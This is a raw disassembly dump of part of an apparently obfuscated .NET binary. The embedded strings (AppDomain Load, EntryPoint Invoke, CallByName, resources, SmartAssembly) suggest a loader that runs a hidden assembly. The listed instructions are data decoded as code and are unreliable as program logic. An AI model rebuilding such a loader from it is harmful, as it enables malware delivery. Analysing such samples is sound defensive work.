416043:	61                   	popa
416044:	67 65 72 00          	addr16 gs jb 0x416048
416048:	53                   	push   %ebx
416049:	79 73                	jns    0x4160be
41604b:	74 65                	je     0x4160b2
41604d:	6d                   	insl   (%dx),%es:(%edi)
41604e:	2e 52                	cs push %edx
416050:	65 73 6f             	gs jae 0x4160c2
416053:	75 72                	jne    0x4160c7
416055:	63 65 73             	arpl   %esp,0x73(%ebp)
416058:	00 47 65             	add    %al,0x65(%edi)
41605b:	74 4f                	je     0x4160ac
41605d:	62 6a 65             	bound  %ebp,0x65(%edx)
416060:	63 74 00 54          	arpl   %esi,0x54(%eax,%eax,1)
416064:	68 72 65 61 64       	push   $0x64616572
416069:	00 53 79             	add    %dl,0x79(%ebx)
41606c:	73 74                	jae    0x4160e2
41606e:	65 6d                	gs insl (%dx),%es:(%edi)
416070:	2e 54                	cs push %esp
416072:	68 72 65 61 64       	push   $0x64616572
416077:	69 6e 67 00 47 65 74 	imul   $0x74654700,0x67(%esi),%ebp
41607e:	44                   	inc    %esp
41607f:	6f                   	outsl  %ds:(%esi),(%dx)
416080:	6d                   	insl   (%dx),%es:(%edi)
416081:	61                   	popa
416082:	69 6e 00 41 70 70 44 	imul   $0x44707041,0x0(%esi),%ebp
416089:	6f                   	outsl  %ds:(%esi),(%dx)
41608a:	6d                   	insl   (%dx),%es:(%edi)
41608b:	61                   	popa
41608c:	69 6e 00 4c 6f 61 64 	imul   $0x64616f4c,0x0(%esi),%ebp
416093:	00 4d 69             	add    %cl,0x69(%ebp)
416096:	63 72 6f             	arpl   %esi,0x6f(%edx)
416099:	73 6f                	jae    0x41610a
41609b:	66 74 2e             	data16 je 0x4160cc
41609e:	56                   	push   %esi
41609f:	69 73 75 61 6c 42 61 	imul   $0x61426c61,0x75(%ebx),%esi
4160a6:	73 69                	jae    0x416111
4160a8:	63 00                	arpl   %eax,(%eax)
4160aa:	49                   	dec    %ecx
4160ab:	6e                   	outsb  %ds:(%esi),(%dx)
4160ac:	74 65                	je     0x416113
4160ae:	72 61                	jb     0x416111
4160b0:	63 74 69 6f          	arpl   %esi,0x6f(%ecx,%ebp,2)
4160b4:	6e                   	outsb  %ds:(%esi),(%dx)
4160b5:	00 43 61             	add    %al,0x61(%ebx)
4160b8:	6c                   	insb   (%dx),%es:(%edi)
4160b9:	6c                   	insb   (%dx),%es:(%edi)
4160ba:	42                   	inc    %edx
4160bb:	79 4e                	jns    0x41610b
4160bd:	61                   	popa
4160be:	6d                   	insl   (%dx),%es:(%edi)
4160bf:	65 00 43 61          	add    %al,%gs:0x61(%ebx)
4160c3:	6c                   	insb   (%dx),%es:(%edi)
4160c4:	6c                   	insb   (%dx),%es:(%edi)
4160c5:	54                   	push   %esp
4160c6:	79 70                	jns    0x416138
4160c8:	65 00 49 6e          	add    %cl,%gs:0x6e(%ecx)
4160cc:	74 33                	je     0x416101
4160ce:	32 00                	xor    (%eax),%al
4160d0:	53                   	push   %ebx
4160d1:	6c                   	insb   (%dx),%es:(%edi)
4160d2:	65 65 70 00          	gs gs jo 0x4160d6
4160d6:	45                   	inc    %ebp
4160d7:	6e                   	outsb  %ds:(%esi),(%dx)
4160d8:	76 69                	jbe    0x416143
4160da:	72 6f                	jb     0x41614b
4160dc:	6e                   	outsb  %ds:(%esi),(%dx)
4160dd:	6d                   	insl   (%dx),%es:(%edi)
4160de:	65 6e                	outsb  %gs:(%esi),(%dx)
4160e0:	74 00                	je     0x4160e2
4160e2:	45                   	inc    %ebp
4160e3:	78 69                	js     0x41614e
4160e5:	74 00                	je     0x4160e7
4160e7:	00 2b                	add    %ch,(%ebx)
4160e9:	2e 00 50 00          	add    %dl,%cs:0x0(%eax)
4160ed:	72 00                	jb     0x4160ef
4160ef:	6f                   	outsl  %ds:(%esi),(%dx)
4160f0:	00 70 00             	add    %dh,0x0(%eax)
4160f3:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
4160f7:	74 00                	je     0x4160f9
4160f9:	69 00 65 00 73 00    	imul   $0x730065,(%eax),%eax
4160ff:	2e 00 52 00          	add    %dl,%cs:0x0(%edx)
416103:	65 00 73 00          	add    %dh,%gs:0x0(%ebx)
416107:	6f                   	outsl  %ds:(%esi),(%dx)
416108:	00 75 00             	add    %dh,0x0(%ebp)
41610b:	72 00                	jb     0x41610d
41610d:	63 00                	arpl   %eax,(%eax)
41610f:	65 00 73 00          	add    %dh,%gs:0x0(%ebx)
416113:	00 15 45 00 6e 00    	add    %dl,0x6e0045
416119:	74 00                	je     0x41611b
41611b:	72 00                	jb     0x41611d
41611d:	79 00                	jns    0x41611f
41611f:	50                   	push   %eax
416120:	00 6f 00             	add    %ch,0x0(%edi)
416123:	69 00 6e 00 74 00    	imul   $0x74006e,(%eax),%eax
416129:	00 0d 49 00 6e 00    	add    %cl,0x6e0049
41612f:	76 00                	jbe    0x416131
416131:	6f                   	outsl  %ds:(%esi),(%dx)
416132:	00 6b 00             	add    %ch,0x0(%ebx)
416135:	65 00 00             	add    %al,%gs:(%eax)
416138:	00 00                	add    %al,(%eax)
41613a:	00 14 e2             	add    %dl,(%edx,%eiz,8)
41613d:	ea 99 cf 29 a0 41 bc 	ljmp   $0xbc41,$0xa029cf99
416144:	1f                   	pop    %ds
416145:	07                   	pop    %es
416146:	97                   	xchg   %eax,%edi
416147:	4d                   	dec    %ebp
416148:	85 6d 41             	test   %ebp,0x41(%ebp)
41614b:	00 08                	add    %cl,(%eax)
41614d:	b7 7a                	mov    $0x7a,%bh
41614f:	5c                   	pop    %esp
416150:	56                   	push   %esi
416151:	19 34 e0             	sbb    %esi,(%eax,%eiz,8)
416154:	89 06                	mov    %eax,(%esi)
416156:	00 01                	add    %al,(%ecx)
416158:	1d 05 1d 05 08       	sbb    $0x8051d05,%eax
41615d:	b0 3f                	mov    $0x3f,%al
41615f:	5f                   	pop    %edi
416160:	7f 11                	jg     0x416173
416162:	d5 0a                	aad    $0xa
416164:	3a 06                	cmp    (%esi),%al
416166:	00 01                	add    %al,(%ecx)
416168:	1d 05 12 0d 06       	sbb    $0x60d1205,%eax
41616d:	00 02                	add    %al,(%edx)
41616f:	12 0d 0e 0e 05 00    	adc    0x50e0e,%cl
416175:	02 01                	add    (%ecx),%al
416177:	0e                   	push   %cs
416178:	0e                   	push   %cs
416179:	03 20                	add    (%eax),%esp
41617b:	00 01                	add    %al,(%ecx)
41617d:	04 20                	add    $0x20,%al
41617f:	01 01                	add    %eax,(%ecx)
416181:	0e                   	push   %cs
416182:	04 20                	add    $0x20,%al
416184:	01 01                	add    %eax,(%ecx)
416186:	08 08                	or     %cl,(%eax)
416188:	01 00                	add    %eax,(%eax)
41618a:	08 00                	or     %al,(%eax)
41618c:	00 00                	add    %al,(%eax)
41618e:	00 00                	add    %al,(%eax)
416190:	1e                   	push   %ds
416191:	01 00                	add    %eax,(%eax)
416193:	01 00                	add    %eax,(%eax)
416195:	54                   	push   %esp
416196:	02 16                	add    (%esi),%dl
416198:	57                   	push   %edi
416199:	72 61                	jb     0x4161fc
41619b:	70 4e                	jo     0x4161eb
41619d:	6f                   	outsl  %ds:(%esi),(%dx)
41619e:	6e                   	outsb  %ds:(%esi),(%dx)
41619f:	45                   	inc    %ebp
4161a0:	78 63                	js     0x416205
4161a2:	65 70 74             	gs jo  0x416219
4161a5:	69 6f 6e 54 68 72 6f 	imul   $0x6f726854,0x6e(%edi),%ebp
4161ac:	77 73                	ja     0x416221
4161ae:	01 05 20 01 01 11    	add    %eax,0x11010120
4161b4:	1d 08 01 00 07       	sbb    $0x7000108,%eax
4161b9:	01 00                	add    %eax,(%eax)
4161bb:	00 00                	add    %al,(%eax)
4161bd:	00 0e                	add    %cl,(%esi)
4161bf:	01 00                	add    %eax,(%eax)
4161c1:	09 43 6f             	or     %eax,0x6f(%ebx)
4161c4:	72 65                	jb     0x41622b
4161c6:	4d                   	dec    %ebp
4161c7:	6f                   	outsl  %ds:(%esi),(%dx)
4161c8:	64 65 6c             	fs gs insb (%dx),%es:(%edi)
4161cb:	00 00                	add    %al,(%eax)
4161cd:	05 01 00 00 00       	add    $0x1,%eax
4161d2:	00 17                	add    %dl,(%edi)
4161d4:	01 00                	add    %eax,(%eax)
4161d6:	12 43 6f             	adc    0x6f(%ebx),%al
4161d9:	70 79                	jo     0x416254
4161db:	72 69                	jb     0x416246
4161dd:	67 68 74 20 c2 a9    	addr16 push $0xa9c22074
4161e3:	20 20                	and    %ah,(%eax)
4161e5:	32 30                	xor    (%eax),%dh
4161e7:	32 30                	xor    (%eax),%dh
4161e9:	00 00                	add    %al,(%eax)
4161eb:	04 20                	add    $0x20,%al
4161ed:	01 01                	add    %eax,(%ecx)
4161ef:	02 29                	add    (%ecx),%ch
4161f1:	01 00                	add    %eax,(%eax)
4161f3:	24 37                	and    $0x37,%al
4161f5:	38 31                	cmp    %dh,(%ecx)
4161f7:	33 65 32             	xor    0x32(%ebp),%esp
4161fa:	62 34 2d 61 64 30 66 	bound  %esi,0x66306461(,%ebp,1)
416201:	2d 34 32 62 34       	sub    $0x34623234,%eax
416206:	2d 39 63 32 30       	sub    $0x30326339,%eax
41620b:	2d 35 38 37 36       	sub    $0x36373835,%eax
416210:	35 65 30 30 38       	xor    $0x38303065,%eax
416215:	65 64 64 00 00       	gs fs add %al,%fs:(%eax)
41621a:	0c 01                	or     $0x1,%al
41621c:	00 07                	add    %al,(%edi)
41621e:	31 2e                	xor    %ebp,(%esi)
416220:	30 2e                	xor    %ch,(%esi)
416222:	30 2e                	xor    %ch,(%esi)
416224:	30 00                	xor    %al,(%eax)
416226:	00 47 01             	add    %al,0x1(%edi)
416229:	00 1a                	add    %bl,(%edx)
41622b:	2e 4e                	cs dec %esi
41622d:	45                   	inc    %ebp
41622e:	54                   	push   %esp
41622f:	46                   	inc    %esi
416230:	72 61                	jb     0x416293
416232:	6d                   	insl   (%dx),%es:(%edi)
416233:	65 77 6f             	gs ja  0x4162a5
416236:	72 6b                	jb     0x4162a3
416238:	2c 56                	sub    $0x56,%al
41623a:	65 72 73             	gs jb  0x4162b0
41623d:	69 6f 6e 3d 76 34 2e 	imul   $0x2e34763d,0x6e(%edi),%ebp
416244:	30 01                	xor    %al,(%ecx)
416246:	00 54 0e 14          	add    %dl,0x14(%esi,%ecx,1)
41624a:	46                   	inc    %esi
41624b:	72 61                	jb     0x4162ae
41624d:	6d                   	insl   (%dx),%es:(%edi)
41624e:	65 77 6f             	gs ja  0x4162c0
416251:	72 6b                	jb     0x4162be
416253:	44                   	inc    %esp
416254:	69 73 70 6c 61 79 4e 	imul   $0x4e79616c,0x70(%ebx),%esi
41625b:	61                   	popa
41625c:	6d                   	insl   (%dx),%es:(%edi)
41625d:	65 10 2e             	adc    %ch,%gs:(%esi)
416260:	4e                   	dec    %esi
416261:	45                   	inc    %ebp
416262:	54                   	push   %esp
416263:	20 46 72             	and    %al,0x72(%esi)
416266:	61                   	popa
416267:	6d                   	insl   (%dx),%es:(%edi)
416268:	65 77 6f             	gs ja  0x4162da
41626b:	72 6b                	jb     0x4162d8
41626d:	20 34 28             	and    %dh,(%eax,%ebp,1)
416270:	01 00                	add    %eax,(%eax)
416272:	23 50 6f             	and    0x6f(%eax),%edx
416275:	77 65                	ja     0x4162dc
416277:	72 65                	jb     0x4162de
416279:	64 20 62 79          	and    %ah,%fs:0x79(%edx)
41627d:	20 53 6d             	and    %dl,0x6d(%ebx)
416280:	61                   	popa
416281:	72 74                	jb     0x4162f7
416283:	41                   	inc    %ecx
416284:	73 73                	jae    0x4162f9
416286:	65 6d                	gs insl (%dx),%es:(%edi)
416288:	62 6c 79 20          	bound  %ebp,0x20(%ecx,%edi,2)
41628c:	37                   	aaa
41628d:	2e 33 2e             	xor    %cs:(%esi),%ebp
416290:	30 2e                	xor    %ch,(%esi)
416292:	33 32                	xor    (%edx),%esi
416294:	39 36                	cmp    %esi,(%esi)
416296:	00 00                	add    %al,(%eax)
416298:	0a 00                	or     (%eax),%al
41629a:	05 01 12 51 08       	add    $0x8511201,%eax
41629f:	12 51 08             	adc    0x8(%ecx),%dl
4162a2:	08 0b                	or     %cl,(%ebx)
4162a4:	07                   	pop    %es
4162a5:	06                   	push   %es
4162a6:	1d 05 08 08 10       	sbb    $0x10080805,%eax
4162ab:	05 02 1d 05 05       	add    $0x5051d02,%eax
4162b0:	15 12 55 01 05       	adc    $0x5015512,%eax
4162b5:	03 20                	add    (%eax),%esp
4162b7:	00 08                	add    %cl,(%eax)
4162b9:	04 20                	add    $0x20,%al
4162bb:	00 11                	add    %dl,(%ecx)
4162bd:	5d                   	pop    %ebp
4162be:	06                   	push   %es
4162bf:	20 02                	and    %al,(%edx)
4162c1:	11 61 08             	adc    %esp,0x8(%ecx)
4162c4:	08 08                	or     %cl,(%eax)
4162c6:	00 04 11             	add    %al,(%ecx,%edx,1)
4162c9:	61                   	popa
4162ca:	08 08                	or     %cl,(%eax)
4162cc:	08 08                	or     %cl,(%eax)
4162ce:	07                   	pop    %es
4162cf:	00 02                	add    %al,(%edx)
4162d1:	02 11                	add    (%ecx),%dl
4162d3:	61                   	popa
4162d4:	11 61 03             	adc    %esp,0x3(%ecx)
4162d7:	20 00                	and    %al,(%eax)
4162d9:	05 09 20 01 01       	add    $0x1012009,%eax
4162de:	15 12 65 01 13       	adc    $0x13016512,%eax
4162e3:	00 05 20 00 1d 13    	add    %al,0x131d0020
4162e9:	00 14 07             	add    %dl,(%edi,%eax,1)
4162ec:	0b 15 12 55 01 05    	or     0x5015512,%edx
4162f2:	08 08                	or     %cl,(%eax)
4162f4:	08 11                	or     %dl,(%ecx)
4162f6:	5d                   	pop    %ebp
4162f7:	08 11                	or     %dl,(%ecx)
4162f9:	61                   	popa
4162fa:	02 02                	add    (%edx),%al
4162fc:	02 1d 05 05 00 02    	add    0x2000505,%bl
416302:	0e                   	push   %cs
416303:	0e                   	push   %cs
416304:	0e                   	push   %cs
416305:	04 00                	add    $0x0,%al
416307:	00 12                	add    %dl,(%edx)
416309:	6d                   	insl   (%dx),%es:(%edi)
41630a:	06                   	push   %es
41630b:	20 02                	and    %al,(%edx)
41630d:	01 0e                	add    %ecx,(%esi)
41630f:	12 6d 04             	adc    0x4(%ebp),%ch
416312:	20 01                	and    %al,(%ecx)
416314:	1c 0e                	sbb    $0xe,%al
416316:	06                   	push   %es
416317:	07                   	pop    %es
416318:	02 12                	add    (%edx),%dl
41631a:	71 12                	jno    0x41632e
41631c:	0d 04 00 00 12       	or     $0x12000004,%eax
416321:	79 06                	jns    0x416329
416323:	20 01                	and    %al,(%ecx)
416325:	12 6d 1d             	adc    0x1d(%ebp),%ch
416328:	05 0a 00 04 1c       	add    $0x1c04000a,%eax
41632d:	1c 0e                	sbb    $0xe,%al
41632f:	11 80 81 1d 1c 04    	adc    %eax,0x41c1d81(%eax)
416335:	00 01                	add    %al,(%ecx)
416337:	01 08                	add    %ecx,(%eax)
416339:	08 07                	or     %al,(%edi)
41633b:	04 1d                	add    $0x1d,%al
41633d:	05 12 6d 1c 1c       	add    $0x1c1c6d12,%eax
416342:	00 88 2d 00 00 00    	add    %cl,0x2d(%eax)
416348:	00 00                	add    %al,(%eax)
41634a:	00 00                	add    %al,(%eax)
41634c:	00 00                	add    %al,(%eax)
41634e:	00 9e 2d 00 00 00    	add    %bl,0x2d(%esi)
416354:	20 00                	and    %al,(%eax)
41636a:	00 90 2d 00 00 00    	add    %dl,0x2d(%eax)
416370:	00 00                	add    %al,(%eax)
416372:	00 00                	add    %al,(%eax)
416374:	00 5f 43             	add    %bl,0x43(%edi)
416377:	6f                   	outsl  %ds:(%esi),(%dx)
416378:	72 44                	jb     0x4163be
41637a:	6c                   	insb   (%dx),%es:(%edi)
41637b:	6c                   	insb   (%dx),%es:(%edi)
41637c:	4d                   	dec    %ebp
41637d:	61                   	popa
41637e:	69 6e 00 6d 73 63 6f 	imul   $0x6f63736d,0x0(%esi),%ebp
416385:	72 65                	jb     0x4163ec
416387:	65 2e 64 6c          	gs cs fs insb (%dx),%es:(%edi)
41638b:	6c                   	insb   (%dx),%es:(%edi)
41638c:	00 ff                	add    %bh,%bh
41638e:	25 00 20 40 00       	and    $0x402000,%eax
4163ef:	00 00                	add    %al,(%eax)
4163f1:	01 00                	add    %eax,(%eax)
4163f3:	10 00                	adc    %al,(%eax)
4163f5:	00 00                	add    %al,(%eax)
4163f7:	18 00                	sbb    %al,(%eax)
4163f9:	00 80 00 00 00 00    	add    %al,0x0(%eax)
416407:	00 00                	add    %al,(%eax)
416409:	01 00                	add    %eax,(%eax)
41640b:	01 00                	add    %eax,(%eax)
41640d:	00 00                	add    %al,(%eax)
41640f:	30 00                	xor    %al,(%eax)